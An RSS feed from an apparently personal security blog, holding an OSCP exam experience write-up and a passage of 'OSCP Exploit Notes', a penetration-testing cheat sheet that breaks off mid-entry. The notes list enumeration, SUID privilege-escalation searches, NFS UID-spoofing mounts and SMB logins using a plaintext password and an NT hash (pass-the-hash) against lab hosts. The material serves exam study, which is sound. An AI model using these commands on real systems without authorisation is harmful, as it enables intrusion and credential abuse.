<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>OSCP on MentalityXt</title><link>http://xtpol.com/tags/oscp/</link><description>Recent content in OSCP on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sat, 11 Jan 2025 12:20:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/tags/oscp/index.xml" rel="self" type="application/rss+xml"/><item><title>How I Earned My OSCP / OSCP+ Certification in Early 2025</title><link>http://xtpol.com/p/oscp-certification-journey/</link><pubDate>Sat, 11 Jan 2025 12:20:00 +0800</pubDate><guid>http://xtpol.com/p/oscp-certification-journey/</guid><description>&lt;p&gt;I wasn&amp;rsquo;t sure what to say at the beginning, but if you&amp;rsquo;ve started searching for OSCP experience write-ups, you probably already know something about OSCP. Here are a few official pages with the requirements, in case you&amp;rsquo;re interested.&lt;/p&gt;&#10;&lt;p&gt;Introduction to OSCP+:&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/29840452210580-Changes-to-the-OSCP" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/29840452210580-Changes-to-the-OSCP&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Introduction to the exam changes:&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/29865898402836-OSCP-Exam-Changes" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/29865898402836-OSCP-Exam-Changes&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;OSCP report requirements (just take a look; most people use the project below):&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Report project:&#10;&lt;a class="link" href="https://github.com/noraj/OSCP-Exam-Report-Template-Markdown" target="_blank" rel="noopener"&#10; &gt;https://github.com/noraj/OSCP-Exam-Report-Template-Markdown&lt;/a&gt;&#10;The template I used:&#10;&lt;a class="link" href="https://github.com/noraj/OSCP-Exam-Report-Template-Markdown/blob/master/src/OSCP-exam-report-template_OS_v2.md" target="_blank" rel="noopener"&#10; &gt;OSCP-exam-report-template_OS_v2.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Exam guide (if you&amp;rsquo;re going to take the exam, you absolutely must read this):&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide-Newly-Updated" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide-Newly-Updated&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Those are the official requirements. Keep in mind that the exam guide may be updated, so you must find the latest version; it contains all the requirements. I&amp;rsquo;ll put my certificates here too. I&amp;rsquo;ve blurred my name and the QR codes because I don&amp;rsquo;t want to reveal my name for now, so only my OSID is visible. (I don&amp;rsquo;t know what went wrong with the built-in CDN. The images used http and were forcibly redirected to https. After I fixed that, they stopped using https, but I still couldn&amp;rsquo;t load the images from the source. The strange part is that the images were also inaccessible normally. On PC, just click the blank area where the image should be; I added a hyperlink. They load normally on mobile.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The blog below helped me enormously while I was learning. I&amp;rsquo;m not particularly good with domain environments, and this blog summarizes many domain penetration techniques. You can work through them one by one: see what the first item covers, build an environment, find a dedicated tutorial, and reproduce it. The blog is like a directory that also includes exploitation methods for each vulnerability. It was incredibly helpful to me. Many thanks to 0r@nge.&#10;&lt;a class="link" href="https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Let me talk about my learning journey. Back in 2022, I was doing an internship and wanted to earn a certification. I looked around, but none of the options seemed especially valuable. Then, by chance, I learned about OSCP and made it my goal. Most of the labs I worked through were from VulnHub, though, and my practice was very on-and-off.&#10;I kept doing VulnHub labs intermittently from 2022 into 2023, and I also touched a few during the first half of 2024. I didn&amp;rsquo;t truly commit until the National Day holiday in 2024. HW had ended a month earlier. Most of what I had studied and done was security-service work, limited to blue teaming and penetration testing. My red-team experience had never reached the provincial level. I had met many people, most of whom were at the provincial level but not the guo level (after all, someone who genuinely had gh-level skills probably wouldn&amp;rsquo;t come do blue-team work). I was then a senior about to graduate, and I could look for an internship in the first half of 2025. I thought about it for a long time, decided to take the OSCP, and then planned to find a red-team internship in the kind of role that interested me.&lt;/p&gt;&#10;&lt;p&gt;First, I&amp;rsquo;ll summarize what I think of VulnHub, Hack The Box, and the OSCP Challenge Labs.&#10;Most of the machines came from TJ NULL&amp;rsquo;s recommendations in the spreadsheet below:&#10;&lt;a class="link" href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit?gid=530535513#gid=530535513" target="_blank" rel="noopener"&#10; &gt;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit?gid=530535513#gid=530535513&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;VulnHub leans heavily toward CTFs—to me, its machines practically are CTF challenges. Information may be hidden in source code, and instead of looking like a normal webpage, a page might resemble a pure CTF decryption puzzle. Some port-knocking techniques aren&amp;rsquo;t represented at all in HTB or OSCP, yet I remember seeing them often on VulnHub. If you don&amp;rsquo;t want to spend money but still want to practice on labs, I highly recommend it. Although it is very CTF-oriented and has only Linux machines, it can teach you many Linux services and commands as well as conventional penetration-testing techniques. You encounter things like UDP, FTP, NFS, SMB, and plenty more. Its advantages are that it strengthens your fundamentals, exposes you to many Linux services relevant to penetration testing, and is free. Its disadvantages are the excessive CTF focus, the need to download and set up the machines yourself, and the fact that it only has Linux machines. (I even bought a 1 TB portable hard drive solely to download VulnHub machines.)&lt;/p&gt;&#10;&lt;p&gt;Hack The Box has very few CTF elements. For example, when an author builds a machine around a particular vulnerability, they obviously need to devise an attack chain and make sure its logic holds together. At some point, that chain may require credentials or similar information, and this is where a CTF-like element may appear: its purpose is to make you obtain a key piece of information before you can move on. Of course, situations like this are extremely rare. HTB is excellent. Most of its machines are designed around a particular vulnerability or exploitation chain, with the goal of teaching you that method. It may look a little like simple reproduction, but the path is made of interlocking layers. Every step follows logically from the last, and the design is wonderfully clever. Sometimes it even involves low-level logic; only after reading a WP and understanding it do you realize just how interesting the design is. The advantage is that the machines are extremely well designed, so approaching them with the goal of learning is very rewarding and gives you a strong grasp of the underlying logic of certain services. The disadvantage is that it costs money. Many people also say it is harder than OSCP, while others say it works well as an OSCP supplement. I agree more with the latter view.&lt;/p&gt;&#10;&lt;p&gt;I never practiced on PG, but I&amp;rsquo;ll still share my impression. Before the exam, I specifically found a WP for a PG domain machine in TJ NULL&amp;rsquo;s list and read through it. Compared with HTB, it was even more ingenious, which fits OSCP&amp;rsquo;s long-standing idea of “try harder.” As I said above, HTB mainly focuses on one vulnerability or one exploitation chain. The PG domain machine I read about was more about layers of underlying logic fitting together, plus a small amount of vulnerability reproduction. Each part made sense, but it demanded broader thinking. That is completely different from HTB: HTB often asks you to dig stubbornly into one point, while PG is more about divergent thinking—if you&amp;rsquo;re sure there is no vulnerability here, hurry up and look somewhere else.&lt;/p&gt;&#10;&lt;p&gt;The OSCP Challenge Labs feel more like real penetration-testing environments. There isn&amp;rsquo;t one specific vulnerability; instead, each is a collection of machines. Every challenge tells you that a company has hired us to perform a penetration test, and you have to face all of that company&amp;rsquo;s servers. The goal is to simulate a real environment. Overall, though, they are fine and not especially difficult. Skylark is the harder one, and many people choose to skip it, but I worked through the labs in order. There are no WPs for the Challenge Labs; students and teachers on Discord will only give you some hints. Although the earlier labs, such as Medtech and Relia, aren&amp;rsquo;t actually difficult, I was stuck for a long time when transitioning from HTB. As I said above, HTB and PG require completely different ways of thinking, and the Challenge Labs also demand a completely different mindset from HTB. Medtech and Relia were mostly about changing my thinking and not limiting myself. I chose to finish Skylark because it would help me adapt to that mindset—treating it like a real environment. In the end, with help from classmates and teachers, I completed most of the labs.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The final two are outside the exam scope. They are mainly labs for people preparing for OSCE³, but you can give them a try.&lt;/p&gt;&#10;&lt;p&gt;That was my learning journey. Most of the machines I practiced on were Linux, while OSCP focuses more on Windows, so I recommend making Windows your priority. It took exactly one month from registering for OSCP to receiving the certificate—31 days, to be precise. I registered on December 11, spent about 21 days completing seven Challenge Labs (finishing on January 1), booked the exam for noon on January 8, submitted my report at 3 a.m. on January 10, and received the certificate on the afternoon of January 11. During the six days from 1.1 to 1.8, I spent most of my time playing games. Games only feel fun when I have something else I should be doing :). Of course, I wasn&amp;rsquo;t relaxing with games the entire time. I revisited every lab except Skylark and reproduced them all, then specifically looked for WPs of domain labs. Everyone knows the conventional approaches; I wanted to learn some different ways of thinking about domain penetration. (Unfortunately, I didn&amp;rsquo;t get to use them.)&lt;/p&gt;&#10;&lt;p&gt;Let me briefly talk about some of the things I encountered during the exam, because this part really was interesting. I ultimately had only 70 points. There are no bonus points now, so the domain environment foothold plus three standalone machines gave me 70 points in total, and I scraped through the exam. The domain-controller section is no longer the same as OSCP A-C, which is worth noting.&#10;If you&amp;rsquo;ve completed OSCP A-C, you should understand what I mean after reading this. Normally, obtaining the domain foothold is very difficult. Once you gain access to the first machine at the domain entry point, however, the second host inside the domain is very easy. You don&amp;rsquo;t even need to escalate privileges on that second host before taking the domain controller. The route is: domain foothold -&amp;gt; low-privileged access to an internal domain host -&amp;gt; domain controller. The difficulty is concentrated in obtaining the domain foothold. The new exam moves that difficulty further down the chain. Getting the domain foothold is extremely, extremely, extremely, extremely, extremely easy—you can think of it as ten free points. They give you a way into the domain, but then the internal domain host becomes extremely difficult. You&amp;rsquo;re also given a low-privileged account, and all you need to do is escalate privileges. I had the sense that once I escalated, reaching the domain controller would not be especially hard. The problem was the privilege escalation, and that deserves a paragraph of its own.&lt;/p&gt;&#10;&lt;p&gt;When I worked through OSCP A-C, ordinary direct scanning caused no problems. In a domain environment, though, as soon as I used ligolo-ng to build a tunnel (chisel was even worse) and scan the internal network, I got a pile of errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was utterly despairing. The moment I ran an nmap scan, it threw errors. I wrote OffSec many emails, and they worked with me, but we simply couldn&amp;rsquo;t fix it. The nmap results were completely inaccurate and led me to make wrong judgments. I even installed nmap on the domain foothold machine, but it still couldn&amp;rsquo;t find anything. All I could do was search by intuition. I knew the normal ports in a domain environment, but if a service was on a nonstandard port, it was simply game over. On top of that, the tunnel crashed easily, which was the most painful part. I had not noticed any problem with ligolo-ng on Medtech or Relia. Perhaps it was because I changed networks while working through OSCP A-C. There was nothing I could do about that, and I couldn&amp;rsquo;t switch back. The new connection was extremely fast at 60MB/S, but the problem remained.&#10;This may be where chisel comes in (frp, ew, and lcx don&amp;rsquo;t work, so don&amp;rsquo;t bother trying). The curious difference is that ligolo-ng sends everything in one burst and then errors out, while chisel sends according to the available rate, staying under the limit. Imagine a water pipe: ligolo-ng throws an entire basin of water at it, and however much enters the pipe is all you get; it doesn&amp;rsquo;t care about the rest. chisel slowly pours the water in as fast as possible without spilling any. With chisel, an nmap scan took 5-6 hours to finish. By then, I had already realized something was wrong. I was using Ethernet at 60MB/s, and the connection was very stable with extremely low latency, but there was still a problem. It was basically black magic. If you run into the same issue, switch networks as quickly as you can.&lt;/p&gt;&#10;&lt;p&gt;Back to the main subject: the domain environment I failed to take down. The network problems above were a major reason. I gambled wrong; I didn&amp;rsquo;t expect the exam VPN to behave almost exactly like the regular environment. After entering through the domain foothold, you&amp;rsquo;re given some information about the next internal domain host, which lets you access it. I encountered the jxxxxs service, and my experience felt very similar to this person&amp;rsquo;s:&#10;&lt;a class="link" href="https://blog.restkhz.com/post/before-oscp-exam" target="_blank" rel="noopener"&#10; &gt;https://blog.restkhz.com/post/before-oscp-exam&lt;/a&gt;&#10;If you&amp;rsquo;re interested, take a look at that blog. It was precisely because of this post that I reviewed vulnerabilities involving jxxxxs. I could almost say that I understood the vulnerability-exploitation side and some of the standard approaches. (If you&amp;rsquo;re interested, try the Object box on HTB.) There was no privilege-escalation path on that internal domain host, and only this service was listening locally. I had two ideas. The first was jxxxxs-cli.jar. Unfortunately, anonymous access was disabled, and I knew the version. At first glance, that version appeared vulnerable to arbitrary file read. If I could reach the backend, I would be 100% certain of getting a shell, and that shell would most likely have the privileges I wanted. Although the installed version number looked lower than the vulnerable version, I put both version numbers into Google (one vulnerable version and the version on the target). Only then did I discover that the vendor had published an advisory for the vulnerable release in January 2024, while the version on the target had been released in May 2024. It was not vulnerable! I had spent half a day on it for nothing. That brought me to my second idea: find credentials for any account at all. If I could access the backend, I would undoubtedly be able to get a shell. I tried for a long time but couldn&amp;rsquo;t find a password. The jxxxxs directory couldn&amp;rsquo;t be entered, and there was no other information. I&amp;rsquo;m sure I tried most of the available methods.&#10;As I mentioned, the service listened locally. I had to use ligolo-ng to reach this domain member host, then use chisel to forward that host&amp;rsquo;s port to the domain foothold before I could access it. The tunnel was still terribly unstable, just as I described above. It kept crashing—three times in a single hour. The fix was to restart the target, upload ligolo-ng and chisel again, and rebuild the tunnel. It was agonizing. Getting the domain foothold took less than 30 minutes, but I then spent more than nine hours trying to escalate privileges. I&amp;rsquo;m certain I was only one username and password away. I never found them, and the repeated tunnel failures drained every bit of my energy.&lt;/p&gt;&#10;&lt;p&gt;Afterward, I thought it over. I hadn&amp;rsquo;t tried brute-forcing the application&amp;rsquo;s directories (the connection was far too slow to brute-force anything). Some credentials might have been hidden in files. Near the end, I discovered that a Jxxxx_history file was actually accessible, but I had no permission to access other users&amp;rsquo; directories, and the current user&amp;rsquo;s history contained nothing else. Perhaps that was a hint to use dir /S across every directory to find this history file. At that point, the exam had five hours left and I had been working continuously for 19 hours. I had no energy left.&lt;/p&gt;&#10;&lt;p&gt;Fortunately, network connections that didn&amp;rsquo;t involve a tunnel were unaffected. I&amp;rsquo;m better at Linux, but my exam set contained two Windows machines and one Linux machine. I got root on the Linux machine in two hours, and obtaining the initial shells on both Windows machines was also very easy. The difficult part was their unconventional privilege escalation, but fortunately, I solved it in the end. This is why, when discussing practice labs, I recommend doing more Windows and less Linux. I had done far too many Linux labs and too few Windows labs, while the exam emphasizes Windows.&lt;/p&gt;&#10;&lt;p&gt;That was my entire exam experience. I regret not taking the domain controller, but a good outcome is enough. After I finished my driving test, I once saw a line that said: the passing score is 90, and as long as you pass, stop worrying about the score. Once it&amp;rsquo;s over, you can even say you scored 101. You passed and earned the qualification, so don&amp;rsquo;t keep regretting it. I feel the same way. I can&amp;rsquo;t keep dwelling on past mistakes. I&amp;rsquo;ve already earned the right to get on the road; how much I improve from here depends on how well I drive. We always have to look forward.&lt;/p&gt;&#10;&lt;p&gt;On the night of the exam, with 13 hours remaining, I was already exhausted. I had only 30 points: the domain foothold and initial shells on two standalone Windows machines. I wanted to rest for a while, but I kept tossing and turning and thinking. I couldn&amp;rsquo;t sleep at all. I lay there for about an hour, and it felt endless. I wondered whether the entire journey—from when I first started working hard to staying away from home just before the New Year so I could prepare for this certification—had been worth it. Honestly, I even thought about giving up. I had spent most of the first 11 hours in the domain environment, and the tunnel kept crashing. It consumed all my energy. I even wanted to talk to the proctor and say, “Look, this tunnel simply won&amp;rsquo;t come up. I can&amp;rsquo;t take the next step at all!” I felt a little cursed for drawing a relatively difficult domain set. Snow was falling outside. I didn&amp;rsquo;t go out for food; I just forced down a few bites of bread I had bought earlier. After all that thinking, I realized I simply couldn&amp;rsquo;t sleep.&#10;Before continuing the exam, I thought about what I should do. First, I would try a few possibilities in the domain environment for no more than one hour. If they didn&amp;rsquo;t work, I would abandon it. If they did work and I took the domain controller, I would have 60 points in total, and taking the Linux machine would be enough. If I remained stuck in the domain environment, I would go straight after the Linux machine, then keep trying unconventional privilege-escalation approaches on the two Windows machines until the exam ended.&#10;Fortunately, my plan was right. I couldn&amp;rsquo;t make any further progress in the domain environment. I enumerated the initial Linux shell and tried both unconventional and conventional privilege escalation, then worked through the unconventional privilege escalation on the two Windows machines. I fully compromised all three standalone hosts.&#10;It was already 3 a.m. I was incredibly excited because I had reached the passing threshold, but I was also exhausted. Even so, I spent more than three additional hours reproducing and saving every step. That was the right decision: after I slept, my computer blue-screened and restarted. If I hadn&amp;rsquo;t saved everything and had instead waited until writing the report to retrieve it from Kali, I would have been unable to finish the report. It was wild. The blue-screen issue had existed for a long time and seemed to be related to the graphics driver. Kali had also restarted itself once while I was attempting the domain environment. So here&amp;rsquo;s another reminder: learn how to write the report in advance, and once you reach the passing threshold, remember to take a snapshot of Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally, a few words about the official OSCP course. Once I learned there were no bonus points, I went through the whole thing and read all of the text. I got something out of it, but not much. It mostly covers the fundamentals, so it is worth a look.&lt;/p&gt;&#10;&lt;p&gt;I also want to talk about the value of OSCP. Before the exam, I saw many discussions in the r/oscp community on Reddit. Some people said OSCP deliberately prevents a fixed number of candidates from passing to protect its value, making it extremely difficult, and that some people who passed may simply have been lucky. Others said many employers first check whether someone holds OSCP and give preference to OSCP holders, even though they had also met many highly skilled people without OSCP. They thought that was unfair and considered it a marketing tactic. Some people said they currently had no plan to take the exam but had learned a great deal from the course. Others mentioned needing 2-4 attempts to pass. What I want to say is that OSCP proves a floor for your ability. If you pass the OSCP exam, then however weak you may otherwise be, you still meet the OSCP standard: you can independently complete a penetration test and write a report, and you can allocate limited time sensibly to achieve your goal. It raises your floor. When you perform a penetration test for someone else, they have no idea what you can do. All you can tell them is how many penetration tests you&amp;rsquo;ve performed, how many CVEs you&amp;rsquo;ve found, and how many years you&amp;rsquo;ve worked in the field. But when you say you have OSCP, they already know that, at the very least, you can complete a penetration test. Your ceiling, of course, depends on you. That is why I believe OSCP carries so much weight.&lt;/p&gt;&#10;</description></item><item><title>OSCP Exploit Notes</title><link>http://xtpol.com/p/oscp-exploit-notes/</link><pubDate>Sat, 04 Jan 2025 12:50:00 +0800</pubDate><guid>http://xtpol.com/p/oscp-exploit-notes/</guid><description>&lt;h3 id="1cewl"&gt;&lt;a href="#1cewl" class="header-anchor"&gt;&lt;/a&gt;1.cewl&#10;&lt;/h3&gt;&lt;p&gt;Detailed tutorial: &lt;a class="link" href="https://blog.csdn.net/qq_43168364/article/details/111773051" target="_blank" rel="noopener"&#10; &gt;Tool Guide &amp;mdash; cewl_Tongdita&amp;rsquo;s Blog - CSDN&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This refers to another researcher&amp;rsquo;s blog.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;m only noting down the two commands I use most often:&lt;/p&gt;&#10;&lt;p&gt;cewl http://192.168.15.146/ -w dict.txt # Crawl the page and generate a dictionary in the current directory&lt;/p&gt;&#10;&lt;p&gt;cewl http://192.168.15.146/ -n -e # Crawl for email addresses&lt;/p&gt;&#10;&lt;h3 id="2netdiscover"&gt;&lt;a href="#2netdiscover" class="header-anchor"&gt;&lt;/a&gt;2.netdiscover&#10;&lt;/h3&gt;&lt;p&gt;A network-scanning tool (Kali routing analysis).&lt;/p&gt;&#10;&lt;p&gt;It can quickly discover live hosts. Scanning an entire range with only nmap or masscan can be slow; discovering the hosts first makes the detailed scan a little faster.&lt;/p&gt;&#10;&lt;p&gt;netdiscover -i eth0 -r 192.168.1.0/24&lt;/p&gt;&#10;&lt;h3 id="3gobuster"&gt;&lt;a href="#3gobuster" class="header-anchor"&gt;&lt;/a&gt;3.gobuster&#10;&lt;/h3&gt;&lt;p&gt;I find this a little better than dirb and Yujian. dirb is powerful, but it is too slow and can hang when the wordlist is too large.&lt;/p&gt;&#10;&lt;p&gt;The collector&amp;rsquo;s edition of Yujian I use can only brute-force specified directories. Although I can edit its built-in wordlist, I cannot append extensions such as .php or .html. In other words, it can only brute-force exactly what appears in the wordlist.&lt;/p&gt;&#10;&lt;p&gt;gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js&lt;/p&gt;&#10;&lt;p&gt;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u &lt;a class="link" href="http://doctors.htb/" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/&lt;/a&gt;&lt;/p&gt;&#10;&lt;h3 id="4foremost"&gt;&lt;a href="#4foremost" class="header-anchor"&gt;&lt;/a&gt;4.foremost&#10;&lt;/h3&gt;&lt;p&gt;Kali Linux provides a dedicated file-recovery tool called Foremost. It analyzes the headers, footers, and internal data structures of different file types, compares them against the data in an image file, and recovers the files.&lt;/p&gt;&#10;&lt;p&gt;foremost strcpy.exe&lt;/p&gt;&#10;&lt;h3 id="5sudo"&gt;&lt;a href="#5sudo" class="header-anchor"&gt;&lt;/a&gt;5.sudo&#10;&lt;/h3&gt;&lt;p&gt;sudo -l : For privilege escalation, start with sudo -l to see which commands can be run as which users, then execute the appropriate one.&lt;/p&gt;&#10;&lt;p&gt;sudo -s : Enter a password to try to temporarily obtain a high-privilege root account.&lt;/p&gt;&#10;&lt;h3 id="6suid-privilege-escalation"&gt;&lt;a href="#6suid-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;6.SUID Privilege Escalation&#10;&lt;/h3&gt;&lt;p&gt;Look for commands that can be run with sudo, then find the corresponding command for Linux privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;find / -group pinky 2&amp;gt;/dev/null # Check executable files for a particular group; this can turn up other useful things too&lt;/p&gt;&#10;&lt;p&gt;find / -user root -writable -type f -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null # Find ordinary files owned by root but writable, skip /proc, and suppress errors&lt;/p&gt;&#10;&lt;p&gt;find / -user root -writable -type d -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&#9;# Find writable directories&lt;/p&gt;&#10;&lt;p&gt;find / -type f -perm 777 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;h3 id="7showmount"&gt;&lt;a href="#7showmount" class="header-anchor"&gt;&lt;/a&gt;7.showmount&#10;&lt;/h3&gt;&lt;p&gt;Use showmount to &amp;ldquo;display mount information for an NFS server.&amp;rdquo; See help for details.&lt;/p&gt;&#10;&lt;p&gt;showmount -e 192.168.1.9&lt;/p&gt;&#10;&lt;h3 id="8enum4linux"&gt;&lt;a href="#8enum4linux" class="header-anchor"&gt;&lt;/a&gt;8.enum4linux&#10;&lt;/h3&gt;&lt;p&gt;A tool for enumerating SMB services on Windows and Linux systems. See help for details.&lt;/p&gt;&#10;&lt;p&gt;enum4linux 192.168.1.9&lt;/p&gt;&#10;&lt;p&gt;enum4linux -a -o 192.168.1.9&lt;/p&gt;&#10;&lt;h3 id="9mount"&gt;&lt;a href="#9mount" class="header-anchor"&gt;&lt;/a&gt;9.mount&#10;&lt;/h3&gt;&lt;p&gt;Use this together with showmount to mount a remote directory from the target locally.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;showmount -e 10.10.10.180&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;mkdir ./nfsshare&lt;/p&gt;&#10;&lt;p&gt;mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare&lt;/p&gt;&#10;&lt;p&gt;If an NFS share reports insufficient permissions, the usual fix is to access the target host, check the ID of the account with permission on that directory, and then create a user with the same ID locally, as shown below.&#10;An existing mounted share may be inaccessible because &lt;a class="link" href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Security_Guide/sect-Security_Guide-Securing_NFS-Do_Not_Use_the_no_root_squash_Option.html" target="_blank" rel="noopener"&#10; &gt;the root_squash flag is set&lt;/a&gt;. We can safely assume that if we have a user named vulnix with the same UID, we will be able to access it.&lt;/p&gt;&#10;&lt;p&gt;Create the user:&lt;/p&gt;&#10;&lt;p&gt;useradd -u &amp;ldquo;id&amp;rdquo; &amp;ldquo;username&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;useradd -u 2008 vulnix&lt;/p&gt;&#10;&lt;p&gt;Mount it: (use this if the command above has problems)&#10;mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock&lt;/p&gt;&#10;&lt;h3 id="10smbmap"&gt;&lt;a href="#10smbmap" class="header-anchor"&gt;&lt;/a&gt;10.smbmap&#10;&lt;/h3&gt;&lt;p&gt;A command-line tool for quickly scanning and inspecting SMB (Server Message Block) shares.&lt;/p&gt;&#10;&lt;p&gt;smbmap -H &amp;lt;target IP/hostname&amp;gt; -u &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;smbmap -H 192.168.1.9&lt;/p&gt;&#10;&lt;p&gt;smbmap -H 192.168.1.9 -r anonymous&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -H 10.10.10.193 -u tlavel -p &amp;#39;TfWScpg3aEEi&amp;#39; -r -q&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="11smbclient"&gt;&lt;a href="#11smbclient" class="header-anchor"&gt;&lt;/a&gt;11.smbclient&#10;&lt;/h3&gt;&lt;p&gt;A client program for accessing shared resources. Use &amp;ndash;help to see the detailed commands.&lt;/p&gt;&#10;&lt;p&gt;smbclient //192.168.1.9/secured -U divid&lt;/p&gt;&#10;&lt;p&gt;smbclient -N -L //10.10.10.134/&lt;/p&gt;&#10;&lt;p&gt;smbclient -N //10.10.10.134/Backups&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //10.10.132.140 -U &amp;#34;oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd&amp;#34; --pw-nt-hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recurse&#9;ON&#9;&#9;&#9;#Enable recursion; mget and mput will traverse directories recursively&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;prompt 